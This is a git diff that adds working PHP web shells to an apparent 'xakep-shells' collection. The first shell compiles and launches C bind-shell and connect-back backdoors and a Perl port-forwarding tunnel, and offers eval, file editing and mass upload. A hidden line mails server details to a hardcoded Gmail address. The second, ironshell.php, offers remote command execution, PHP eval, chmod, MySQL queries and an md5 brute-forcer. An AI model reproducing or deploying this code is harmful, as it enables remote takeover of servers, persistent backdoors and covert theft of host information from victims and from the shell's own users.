+rmdir(".nst_proxy_tmp");
+}
+}
+$show_ps="1";
+}#end of start perl_proxy
+
+if($_POST['c_bd']){
+$port=$_POST['port'];
+$c_bd_scp = "#define PORT $port
+#include
+#include
+#include
+#include
+#include
+
+int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
+struct sockaddr_in serv_addr;
+struct sockaddr_in client_addr;
+
+int main ()
+{
+ soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (soc_des == -1)
+ exit(-1);
+ bzero((char *) &serv_addr, sizeof(serv_addr));
+ serv_addr.sin_family = AF_INET;
+ serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
+ serv_addr.sin_port = htons(PORT);
+ soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
+ if (soc_rc != 0)
+ exit(-1);
+ if (fork() != 0)
+ exit(0);
+ setpgrp();
+ signal(SIGHUP, SIG_IGN);
+ if (fork() != 0)
+ exit(0);
+ soc_rc = listen(soc_des, 5);
+ if (soc_rc != 0)
+ exit(0);
+ while (1) {
+ soc_len = sizeof(client_addr);
+ soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
+ if (soc_cli < 0)
+ exit(0);
+ cli_pid = getpid();
+ server_pid = fork();
+ if (server_pid != 0) {
+ dup2(soc_cli,0);
+ dup2(soc_cli,1);
+ dup2(soc_cli,2);
+ execl(\"/bin/sh\",\"sh\",(char *)0);
+ close(soc_cli);
+ exit(0);
+ }
+ close(soc_cli);
+ }
+}
+
+";
+
+
+if(is_writable("/tmp")){
+$fp=fopen("/tmp/nst_c_bd.c","w");
+fwrite($fp,"$c_bd_scp");
+passthru("gcc /tmp/nst_c_bd.c -o /tmp/nst_bd");
+passthru("/tmp/nst_bd &");
+unlink("/tmp/nst_c_bd.c");
+unlink("/tmp/nst_bd");
+}else{
+if(is_writable(".")){
+mkdir(".nst_bd_tmp");
+$fp=fopen(".nst_bd_tmp/nst_c_bd.c","w");
+fwrite($fp,"$c_bd_scp");
+passthru("gcc .nst_bd_tmp/nst_c_bd.c -o .nst_bd_tmp/nst_bd");
+passthru(".nst_bd_tmp/nst_bd &");
+unlink(".nst_bd_tmp/nst_bd");
+unlink(".nst_bd_tmp/nst_c_bd.c");
+rmdir(".nst_bd_tmp");
+}
+}
+$show_ps="1";
+}#end of c bd
+
+
+if($_POST['bc_c']){ # nc -l -p 4500
+$port_c = $_POST['port_c'];
+$ip=$_POST['ip'];
+$bc_c_scp = "#include
+#include
+#include
+#include
+#include
+
+#include
+#include
+
+int fd, sock;
+int port = $port_c;
+struct sockaddr_in addr;
+
+char mesg[] = \"::Connect-Back Backdoor:: CMD: \";
+char shell[] = \"/bin/sh\";
+
+int main(int argc, char *argv[]) {
+ while(argc<2) {
+ fprintf(stderr, \" %s \", argv[0]);
+ exit(0); }
+
+addr.sin_family = AF_INET;
+addr.sin_port = htons(port);
+addr.sin_addr.s_addr = inet_addr(argv[1]);
+fd = socket(AF_INET, SOCK_STREAM, 0);
+connect(fd, (struct sockaddr*)&addr, sizeof(addr));
+
+send(fd, mesg, sizeof(mesg), 0);
+
+dup2(fd, 0);
+dup2(fd, 1);
+dup2(fd, 2);
+execl(shell, \"in.telnetd\", 0);
+
+close(fd);
+return 1;
+}
+
+";
+
+if(is_writable("/tmp")){
+if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc_c.c");}
+if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc");}
+$fp=fopen("/tmp/nst_c_bc_c.c","w");
+$bd_c_scp=str_replace("!n","\n",$bd_c_scp);
+fwrite($fp,"$bc_c_scp");
+passthru("gcc /tmp/nst_c_bc_c.c -o /tmp/nst_bc_c");
+passthru("/tmp/nst_bc_c $ip &");
+unlink("/tmp/nst_bc_c");
+unlink("/tmp/nst_bc_c.c");
+}else{
+if(is_writable(".")){
+mkdir(".nst_bc_c_tmp");
+$fp=fopen(".nst_bc_c_tmp/nst_c_bc_c.c","w");
+$bd_c_scp=str_replace("!n","\n",$bd_c_scp);
+fwrite($fp,"$bc_c_scp");
+passthru("gcc .nst_bc_c_tmp/nst_c_bc_c.c -o .nst_bc_c_tmp/nst_bc_c");
+passthru(".nst_bc_c_tmp/nst_bc_c $ip &");
+unlink(".nst_bc_c_tmp/nst_bc_c.c");
+unlink(".nst_bc_c_tmp/nst_bc_c");
+rmdir(".nst_bc_c_tmp");
+}
+}
+$show_ps="1";
+
+}#end of back connect C
+
+
+if($_POST['datapipe_pl']){
+$port_2=$_POST['port_2'];
+$port_3=$_POST['port_3'];
+$ip=$_POST['ip'];
+$datapipe_pl = "
+#!/usr/bin/perl
+# coded by CuTTer (rus hacker)
+use IO::Socket;
+use POSIX;
+
+\$localport=$port_2;
+\$host=\"$ip\";
+\$port=$port_3;
+
+\$daemon=1;
+
+\$DIR = undef;
+
+## Âûâîäèòü ëîã ñîáûòèé (1-äà, 0-íåò)
+\$log=0;
+
+
+
+
+\$| = 1;
+
+if (\$daemon){
+ print \"3anycKaeM daemon\n\";
+
+ \$pid = fork;
+ exit if \$pid;
+ die \"Couldn't fork: \$!\" unless defined(\$pid);
+ POSIX::setsid() or die \"Can't start a new session: \$!\";
+}
+
+%o = ('port' => \$localport,
+ 'toport' => \$port,
+ 'tohost' => \$host);
+
+\$ah = IO::Socket::INET->new(
+ 'LocalPort' => \$localport,
+ 'Reuse' => 1,
+ 'Listen' => 10)
+ || die \"Íåëüçÿ îòêðûòü ñîêåò äëÿ ñîåäèíåíèé: \$!\";
+
+print \"Íà÷èíàåì âûïîëíåíèÿ öèêëà.\n\" if \$log;
+\$SIG{'CHLD'} = 'IGNORE';
+\$num = 0;
+while (1) {
+ \$ch = \$ah->accept();
+ if (!\$ch) {
+ print STDERR \"Ïðåðâàíî âûïîëåíèå accept: \$!\n\";
+ next;
+ }
+
+ printf(\"Íîâûé êëèåíò: host %s, port %s.\n\",
+ \$ch->peerhost(), \$ch->peerport()) if \$log;
+ ++\$num;
+ \$pid = fork();
+ if (!defined(\$pid)) {
+ print STDERR \"Íåâîçìîæíî âûïîëíèòü fork: \$!\n\";
+ } elsif (\$pid == 0) {
+## Íîâûé ïðîöåññ
+ \$ah->close();
+ Run(\%o, \$ch, \$num);
+ } else {
+ print \"Parent: Fork ïðîøåë óñïåøíî, çàêðûâàåì ñîêåò.\n\" if \$log;
+ \$ch->close();
+ }
+}
+
+
+sub Run {
+ my(\$o, \$ch, \$num) = @_;
+ my \$th = IO::Socket::INET->new('PeerAddr' => \$o->{'tohost'},
+ 'PeerPort' => \$o->{'toport'});
+ print(\"Child: Äåëàåì ðåäèðåêò íà \$o->{'tohost'}, ïîðò \$o->{'toport'}.\n\") if \$log;
+ if (!\$th) {
+ printf STDERR (\"Child: Ïðåðâàí ðåäèðåêò íà %s, ïîðò %s.\n\",
+ \$o->{'tohost'}, \$o->{'toport'});
+ exit 0;
+ }
+
+ my \$fh;
+ if (\$o->{'dir'}) {
+ \$fh = Symbol::gensym();
+ open(\$fh, \">\$o->{'dir'}/tunnel\$num.log\")
+ or die \"Child: Ïðåðâàíî ñîçäàíèå ëîã ôàéëà \$o->{'dir'}/tunnel\$num.log: \$!\";
+ }
+
+ \$ch->autoflush();
+ \$th->autoflush();
+ while (\$ch || \$th) {
+ print \"Child: Âêëþ÷àåì öèêë.\n\" if \$log;
+ my \$rin = \"\";
+ vec(\$rin, fileno(\$ch), 1) = 1 if \$ch;
+ vec(\$rin, fileno(\$th), 1) = 1 if \$th;
+ my(\$rout, \$eout);
+ select(\$rout = \$rin, undef, \$eout = \$rin, 120);
+ if (!\$rout && !\$eout) {
+ print STDERR \"Child: Îøèáêà Timeout.\n\";
+ }
+ my \$cbuffer = \"\";
+ my \$tbuffer = \"\";
+
+ if (\$ch && (vec(\$eout, fileno(\$ch), 1) || vec(\$rout, fileno(\$ch), 1))) {
+ print \"Child: Æäåì äàííûõ îò êëèåíòà.\n\" if \$log;
+ my \$result = sysread(\$ch, \$tbuffer, 1024);
+ if (!defined(\$result)) {
+ print STDERR \"Child: Îøèáêà ïðè ñ÷èòûâàíèè äàííûõ êëèåíòà: \$!\n\";
+ exit 0;
+ }
+ if (\$result == 0) {
+ print \"Child: Êëèåíò îòñîåäèíèëñÿ.\n\" if \$log;
+ exit 0;
+ }
+
+ print \"Child: Äàííûå: \$cbuffer\n\" if \$log;
+ }
+
+ if (\$th && (vec(\$eout, fileno(\$th), 1) || vec(\$rout, fileno(\$th), 1))) {
+ print \"Child: Æäåì äàííûõ.\n\" if \$log;
+ my \$result = sysread(\$th, \$cbuffer, 1024);
+ if (!defined(\$result)) {
+ print STDERR \"Child: Íåâîçìîæíî ñ÷èòàòü äàííûå: \$!\n\";
+ exit 0;
+ }
+
+ if (\$result == 0) {
+ print \"Child: Ïðîèçîøëî îòñîåäèíåíèå.\n\" if \$log;
+ exit 0;
+ }
+
+ print \"Child: Äàííûå: \$cbuffer\n\" if \$log;
+ }
+
+ if (\$fh && \$tbuffer) {
+ (print \$fh \$tbuffer);
+ }
+
+ while (my \$len = length(\$tbuffer)) {
+ print \"Child: Îòïðàâëÿåì \$len áàéò.\n\" if \$log;
+ my \$res = syswrite(\$th, \$tbuffer, \$len);
+ print \"Child: Äàííûå îòïðàâëåíû.\n\" if \$log;
+ if (\$res > 0) {
+ \$tbuffer = substr(\$tbuffer, \$res);
+ } else {
+ print STDERR \"Child: Íåâîçìîæíî îòïðàâèòü äàííûå: \$!\n\";
+ }
+ }
+
+ while (my \$len = length(\$cbuffer)) {
+ print \"Child: Îòïðàâëÿåì \$len áàéò êëèåíòó.\n\" if \$log;
+ my \$res = syswrite(\$ch, \$cbuffer, \$len);
+ print \"Child: Äàííûå îòïðàâëåíû..\n\" if \$log;
+ if (\$res > 0) {
+ \$cbuffer = substr(\$cbuffer, \$res);
+ } else {
+ print STDERR \"Child: Íåâîçìîæíî îòïðàâèòü äàííûå: \$!\n\";
+ }
+ }
+ }
+}
+
+";
+
+if(is_writable("/tmp")){
+$fp=fopen("/tmp/nst_perl_datapipe.pl","w");
+fwrite($fp,"$datapipe_pl");
+passthru("perl /tmp/nst_perl_datapipe.pl &");
+unlink("/tmp/nst_perl_datapipe.pl");
+}else{
+if(is_writable(".")){
+mkdir(".nst_datapipe_tmp");
+$fp=fopen(".nst_datapipe_tmp/nst_perl_datapipe.pl","w");
+fwrite($fp,"$datapipe_pl");
+passthru("perl .nst_datapipe_tmp/nst_perl_datapipe.pl &");
+unlink(".nst_datapipe_tmp/nst_perl_datapipe.pl");
+rmdir(".nst_datapipe_tmp");
+}
+}
+$show_ps="1";
+
+}#end of datapipe perl
+
+
+
+
+
+if($show_ps=="1"){
+print "[ps ux] ";
+print "";
+passthru("ps ux");
+print " ";
+}
+
+
+
+echo "md5:
+
+md5 online encoder/decoder (brutforce) (php) - [DOWNLOAD ]
+
+";
+@$md5=@$_POST['md5'];
+if(@$_POST['md5']){ echo "md5:".md5($md5)." ";}
+echo "
+base64 e/d: ";
+if(@$_POST['base64']){
+@$base64=$_POST['base64'];
+echo "
+Encode: ".base64_encode($base64)."
+Decode: ".base64_decode($base64)." ";}
+echo "
+DES:
+John The Ripper [Web ] ";
+if(@$_POST['des']){
+@$des=@$_POST['des'];
+echo "Des: ".crypt($des)." ";}
+
+print "
+eval:
+(example: print \"Hello World\";)
+
+<?
+
+?>
+
+
+";
+
+function eval_sl($editf){
+if(get_magic_quotes_gpc()==1){
+$editf=stripslashes($editf);
+}
+return $editf;
+}
+
+
+if($_POST['eval']){
+print "RESULT: ";
+eval(eval_sl($_POST['eval']));
+print " ";
+
+print "PHP: \r\n\r\n";
+print "<?\r\n";
+print " ";
+print htmlspecialchars(eval_sl(($_POST['eval'])));
+print " ";
+print "?>\r\n\r\n ";
+
+}
+
+echo $copyr;
+exit;}
+
+if(@$_GET['replace']=="1"){
+$ip=@$_SERVER['REMOTE_ADDR'];
+$d=$_GET['d'];
+$e=$_GET['e'];
+@$de=$d."/".$e;
+$de=str_replace("//","/",$de);
+$e=@$e;
+echo "[Delete ] [Edit ] [Filesize to 0 byte ] [Replace text in file ] [Download ] [Rename ] [CHMOD ] [Copy ] ";
+echo "
+Replace tool:
+(You can replace any text)
+File: $de
+
+1. Your ip.
+2. microsoft.com ip :)
+Replace this by this
+
+
+";
+
+if(@$_POST['doit']){
+@$this=$_POST['this'];
+@$bythis=$_POST['bythis'];
+@$e=$_GET['e'];
+$filename="$d/$e";
+$fd = @fopen ($filename, "r");
+$rpl = @fread ($fd, @filesize ($filename));
+$re=str_replace("$this","$bythis",$rpl);
+$x=@fopen("$d/$e","w");
+@fwrite($x,"$re");
+echo "$this Replaced by $bythis
+[VIew file ] ";
+
+}
+echo $copyr;
+exit;}
+
+
+if(@$_GET['t']=="upload"){
+echo "
+* Mass upload *
+File upload:
+
+
+
+New file name:
+ (if empty, it will be default)
+
+
+";
+
+if(@$_POST['uploadf']){
+$where=$_POST['where'];
+$newf=$_POST['newf'];
+$where=str_replace("//","/",$where);
+if($newf==""){$newf=$_FILES['text']['name'];}else{$newf=$newf;}
+$uploadfile = "$where/".$newf;
+if (@move_uploaded_file(@$_FILES['text']['tmp_name'], $uploadfile)) {
+$uploadfile=str_replace("//","/",$uploadfile);
+echo " Uploaded to $uploadfile ";
+}else{
+echo " Error ";}
+}
+}
+
+if(@$_GET['t']=="massupload"){
+echo "
+Mass upload:
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ";
+
+if(@$_POST['massupload']){
+$where=@$_POST['where'];
+$uploadfile1 = "$where/".@$_FILES['text1']['name'];
+$uploadfile2 = "$where/".@$_FILES['text2']['name'];
+$uploadfile3 = "$where/".@$_FILES['text3']['name'];
+$uploadfile4 = "$where/".@$_FILES['text4']['name'];
+$uploadfile5 = "$where/".@$_FILES['text5']['name'];
+$uploadfile6 = "$where/".@$_FILES['text6']['name'];
+$uploadfile7 = "$where/".@$_FILES['text7']['name'];
+$uploadfile8 = "$where/".@$_FILES['text8']['name'];
+$uploadfile9 = "$where/".@$_FILES['text9']['name'];
+$uploadfile10 = "$where/".@$_FILES['text10']['name'];
+$uploadfile11 = "$where/".@$_FILES['text11']['name'];
+$uploadfile12 = "$where/".@$_FILES['text12']['name'];
+$uploadfile13 = "$where/".@$_FILES['text13']['name'];
+$uploadfile14 = "$where/".@$_FILES['text14']['name'];
+$uploadfile15 = "$where/".@$_FILES['text15']['name'];
+$uploadfile16 = "$where/".@$_FILES['text16']['name'];
+$uploadfile17 = "$where/".@$_FILES['text17']['name'];
+$uploadfile18 = "$where/".@$_FILES['text18']['name'];
+$uploadfile19 = "$where/".@$_FILES['text19']['name'];
+$uploadfile20 = "$where/".@$_FILES['text20']['name'];
+if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile1 ";}
+if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile2 ";}
+if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile3 ";}
+if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile4 ";}
+if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile5 ";}
+if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile6 ";}
+if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile7 ";}
+if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile8 ";}
+if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile9 ";}
+if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile10 ";}
+if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile11 ";}
+if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile12 ";}
+if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile13 ";}
+if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile14 ";}
+if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile15 ";}
+if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile16 ";}
+if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile17 ";}
+if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile18 ";}
+if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile19 ";}
+if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile20 ";}
+}
+echo $copyr;
+exit;}
+
+if(@$_GET['yes']=="yes"){
+$d=@$_GET['d']; $e=@$_GET['e'];
+unlink($d."/".$e);
+$delresult="Success $d/$e deleted ";
+}
+if(@$_GET['clean']=="1"){
+@$e=$_GET['e'];
+$x=fopen("$d/$e","w");
+fwrite($x,"");
+echo " ";
+exit;
+}
+
+
+if(@$_GET['e']){
+$d=@$_GET['d'];
+$e=@$_GET['e'];
+$pinf=pathinfo($e);
+if(in_array(".".@$pinf['extension'],$images)){
+echo " ";
+exit;}
+$filename="$d/$e";
+$fd = @fopen ($filename, "r");
+$c = @fread ($fd, @filesize ($filename));
+$c=htmlspecialchars($c);
+$de=$d."/".$e;
+$de=str_replace("//","/",$de);
+if(is_file($de)){
+if(!is_writable($de)){echo "READ ONLY ";}}
+echo "[Delete ] [Edit ] [Filesize to 0 byte ] [Replace text in file ] [Download ] [Rename ] [CHMOD ] [Copy ] ";
+echo "
+File contents:
+$de
+
+
+
+";
+
+if(@$_GET['delete']=="1"){
+$delete=$_GET['delete'];
+echo "
+DELETE: Are you sure?
+Yes || No
+
+";
+if(@$_GET['yes']=="yes"){
+@$d=$_GET['d']; @$e=$_GET['e'];
+echo $delresult;
+}
+if(@$_GET['no']){
+echo "
+";
+}
+
+
+} #end of delete
+echo $copyr;
+exit;
+} #end of e
+
+if(@$_GET['edit']=="1"){
+@$d=$_GET['d'];
+@$ef=$_GET['ef'];
+$e=$ef;
+if(is_file($d."/".$ef)){
+if(!is_writable($d."/".$ef)){echo "READ ONLY ";}}
+echo "[Delete ] [Edit ] [Filesize to 0 byte ] [Replace text in file ] [Download ] [Rename ] [CHMOD ] [Copy ] ";
+$filename="$d/$ef";
+$fd = @fopen ($filename, "r");
+$c = @fread ($fd, @filesize ($filename));
+$c=htmlspecialchars($c);
+$de=$d."/".$ef;
+$de=str_replace("//","/",$de);
+echo "
+Edit:
+$de ";
+
+if(!@$_POST['save']){
+print "
+
+
+$c
+
+
+";
+}
+if(@$_POST['save']){
+$editf=@$_POST['editf'];
+
+if(get_magic_quotes_runtime() or get_magic_quotes_gpc()){
+$editf=stripslashes($editf);
+}
+
+$f=fopen($filename,"w+");
+fwrite($f,"$editf");
+echo "
+File edited.
+ ";
+exit;
+}
+echo $copyr;
+exit;
+}
+
+
+
+echo"
+
+Filename Tools Size Owner/Group Perms
+";
+$dirs=array();
+$files=array();
+$dh = @opendir($d) or die("Permission Denied or Folder/Disk does not exist $copyr
");
+while (!(($file = readdir($dh)) === false)) {
+if ($file=="." || $file=="..") continue;
+if (@is_dir("$d/$file")) {
+ $dirs[]=$file;
+}else{
+ $files[]=$file;
+ }
+ sort($dirs);
+ sort($files);
+
+$fz=@filesize("$d/$file");
+}
+
+function perm($perms){
+if (($perms & 0xC000) == 0xC000) {
+ $info = 's';
+} elseif (($perms & 0xA000) == 0xA000) {
+ $info = 'l';
+} elseif (($perms & 0x8000) == 0x8000) {
+ $info = '-';
+} elseif (($perms & 0x6000) == 0x6000) {
+ $info = 'b';
+} elseif (($perms & 0x4000) == 0x4000) {
+ $info = 'd';
+} elseif (($perms & 0x2000) == 0x2000) {
+ $info = 'c';
+} elseif (($perms & 0x1000) == 0x1000) {
+ $info = 'p';
+} else {
+ $info = 'u';
+}
+$info .= (($perms & 0x0100) ? 'r' : '-');
+$info .= (($perms & 0x0080) ? 'w' : '-');
+$info .= (($perms & 0x0040) ?
+ (($perms & 0x0800) ? 's' : 'x' ) :
+ (($perms & 0x0800) ? 'S' : '-'));
+$info .= (($perms & 0x0020) ? 'r' : '-');
+$info .= (($perms & 0x0010) ? 'w' : '-');
+$info .= (($perms & 0x0008) ?
+ (($perms & 0x0400) ? 's' : 'x' ) :
+ (($perms & 0x0400) ? 'S' : '-'));
+$info .= (($perms & 0x0004) ? 'r' : '-');
+$info .= (($perms & 0x0002) ? 'w' : '-');
+$info .= (($perms & 0x0001) ?
+ (($perms & 0x0200) ? 't' : 'x' ) :
+ (($perms & 0x0200) ? 'T' : '-'));
+return $info;
+}
+
+
+for($i=0; $i$dirs[$i]";
+$linkd=str_replace("//","/",$linkd);
+echo "0 $linkdDIR $owner/$group $info ";
+}
+
+for($i=0; $i2 $files[$i] [options] $siz $owner/$group $info "; $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
+}
+
+echo "
";
+echo $copyr;
+
+?>
+
+
+
diff --git a/xakep-shells/PHP/ironshell.php.txt b/xakep-shells/PHP/ironshell.php.txt
new file mode 100644
index 0000000..b6931f1
--- /dev/null
+++ b/xakep-shells/PHP/ironshell.php.txt
@@ -0,0 +1,588 @@
+ 'Execute Command',
+ 'eval' => 'Evaluate PHP',
+ 'mysql' => 'MySQL Query',
+ 'chmod' => 'Chmod File',
+ 'phpinfo' => 'PHPinfo',
+ 'md5' => 'md5 cracker',
+ 'headers' => 'Show headers',
+ 'logout' => 'Log out'
+);
+
+//The header, like it?
+$header = '
+'.getenv("HTTP_HOST").' ~ Shell I
+
+
+
+
+
+';
+
+
+//
+//Page handling
+//
+if(isset($_REQUEST['p']))
+{
+ switch ($_REQUEST['p']) {
+
+ case 'cmd': //Run command
+
+ print "Command: ";
+ if(isset($_REQUEST['command']))
+ {
+ print "";
+ execute_command(get_execution_method(),$_REQUEST['command']); //You want fries with that?
+ }
+ break;
+
+
+ case 'edit': //Edit a fie
+ if(isset($_POST['editform']))
+ {
+ $f = $_GET['file'];
+ $fh = fopen($f, 'w') or print "Error while opening file!";
+ fwrite($fh, $_POST['editform']) or print "Couldn't save file!";
+ fclose($fh);
+ }
+ print "Editing file ".$_GET['file']." (".perm($_GET['file']).") ";
+
+ if(file_exists($_GET['file']))
+ {
+ $rd = file($_GET['file']);
+ foreach($rd as $l)
+ {
+ print htmlspecialchars($l);
+ }
+ }
+
+ print " ";
+
+ break;
+
+ case 'delete': //Delete a file
+
+ if(isset($_POST['yes']))
+ {
+ if(unlink($_GET['file']))
+ {
+ print "File deleted successfully.";
+ }
+ else
+ {
+ print "Couldn't delete file.";
+ }
+ }
+
+
+ if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes']))
+ {
+ print "Are you sure you want to delete ".$_GET['file']."?
+
+
+
+ ";
+ }
+
+
+ break;
+
+
+ case 'eval': //Evaluate PHP code
+
+ print "
+ ";
+ if(isset($_POST['eval']))
+ {
+ print htmlspecialchars($_POST['eval']);
+ }
+ else
+ {
+ print "print \"Yo Momma\";";
+ }
+ print "
+
+ ";
+
+ if(isset($_POST['eval']))
+ {
+ print "Output: ";
+ print " ";
+ eval($_POST['eval']);
+ }
+
+ break;
+
+ case 'chmod': //Chmod file
+
+
+ print "Under construction! ";
+ if(isset($_POST['chmod']))
+ {
+ switch ($_POST['chvalue']){
+ case 777:
+ chmod($_POST['chmod'],0777);
+ break;
+ case 644:
+ chmod($_POST['chmod'],0644);
+ break;
+ case 755:
+ chmod($_POST['chmod'],0755);
+ break;
+ }
+ print "Changed permissions on ".$_POST['chmod']." to ".$_POST['chvalue'].".";
+ }
+ if(isset($_GET['file']))
+ {
+ $content = urldecode($_GET['file']);
+ }
+ else
+ {
+ $content = "file/path/please";
+ }
+
+ print "File to chmod:
+ New permission:
+
+777
+644
+755
+ ";
+
+ break;
+
+ case 'mysql': //MySQL Query
+
+ if(isset($_POST['host']))
+ {
+ $link = mysql_connect($_POST['host'], $_POST['username'], $_POST['mysqlpass']) or die('Could not connect: ' . mysql_error());
+ mysql_select_db($_POST['dbase']);
+ $sql = $_POST['query'];
+
+
+ $result = mysql_query($sql);
+
+ }
+ else
+ {
+ print "
+ This only queries the database, doesn't return data!
+
+ Host:
+ Username:
+ Password:
+ Database:
+
+ Query:
+
+
+ ";
+
+ }
+
+ break;
+
+ case 'createdir':
+ if(mkdir($_GET['crdir']))
+ {
+ print 'Directory created successfully.';
+ }
+ else
+ {
+ print 'Couldn\'t create directory';
+ }
+ break;
+
+
+ case 'phpinfo': //PHP Info
+ phpinfo();
+ break;
+
+
+ case 'rename':
+
+ if(isset($_POST['fileold']))
+ {
+ if(rename($_POST['fileold'],$_POST['filenew']))
+ {
+ print "File renamed.";
+ }
+ else
+ {
+ print "Couldn't rename file.";
+ }
+
+ }
+ if(isset($_GET['file']))
+ {
+ $file = basename(htmlspecialchars($_GET['file']));
+ }
+ else
+ {
+ $file = "";
+ }
+
+ print "Renaming ".$file." in folder ".realpath('.').".
+
+ Rename:
+ To:
+
+ ";
+ break;
+
+ case 'md5':
+ if(isset($_POST['md5']))
+ {
+ if(!is_numeric($_POST['timelimit']))
+ {
+ $_POST['timelimit'] = 30;
+ }
+ set_time_limit($_POST['timelimit']);
+ if(strlen($_POST['md5']) == 32)
+ {
+
+ if($_POST['chars'] == "9999")
+ {
+ $i = 0;
+ while($_POST['md5'] != md5($i) && $i != 100000)
+ {
+ $i++;
+ }
+ }
+ else
+ {
+ for($i = "a"; $i != "zzzzz"; $i++)
+ {
+ if(md5($i == $_POST['md5']))
+ {
+ break;
+ }
+ }
+ }
+
+
+ if(md5($i) == $_POST['md5'])
+ {
+ print "Plaintext of ". $_POST['md5']. " is ".$i." ";
+ }
+
+ }
+
+ }
+
+ print "Will bruteforce the md5
+
+ md5 to crack:
+ Characters:
+ a - zzzzz
+ 1 - 9999999
+
+ Max. cracking time*:
+
+ *: if set_time_limit is allowed by php.ini";
+ break;
+
+ case 'headers':
+ foreach(getallheaders() as $header => $value)
+ {
+ print htmlspecialchars($header . ":" . $value)." ";
+
+ }
+ break;
+ }
+
+}
+else //Default page that will be shown when the page isn't found or no page is selected.
+{
+
+ $files = array();
+ $directories = array();
+
+ if(isset($_FILES['uploadedfile']['name']))
+{
+ $target_path = realpath('.').'/';
+ $target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
+
+ if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
+ print "File:". basename( $_FILES['uploadedfile']['name']).
+ " has been uploaded";
+ } else{
+ echo "File upload failed!";
+ }
+}
+
+
+
+
+
+ print "Options Filename Size Permissions Last modified ";
+ if ($handle = opendir('.'))
+ {
+ while (false !== ($file = readdir($handle)))
+ {
+ if(is_dir($file))
+ {
+ $directories[] = $file;
+ }
+ else
+ {
+ $files[] = $file;
+ }
+ }
+ asort($directories);
+ asort($files);
+ foreach($directories as $file)
+ {
+ print "[R] [D] ".$file." ".perm($file)." ".date ("Y/m/d, H:i:s", filemtime($file))." ";
+ }
+
+ foreach($files as $file)
+ {
+ print "[R] [D] ".$file." ".filesize($file)." ".perm($file)." ".date ("Y/m/d, H:i:s", filemtime($file))." ";
+ }
+ }
+ else
+ {
+ print "Error! Can't open ".realpath('.')." ! ";
+ }
+
+ print "
";
+
+
+}
+
+
+function login()
+{
+ print "
+ Password?
+
+ ";
+}
+function reload()
+{
+ header("Location: ".basename(__FILE__));
+}
+
+function get_execution_method()
+{
+ if(function_exists('passthru')){ $m = "passthru"; }
+ if(function_exists('exec')){ $m = "exec"; }
+ if(function_exists('shell_exec')){ $m = "shell_ exec"; }
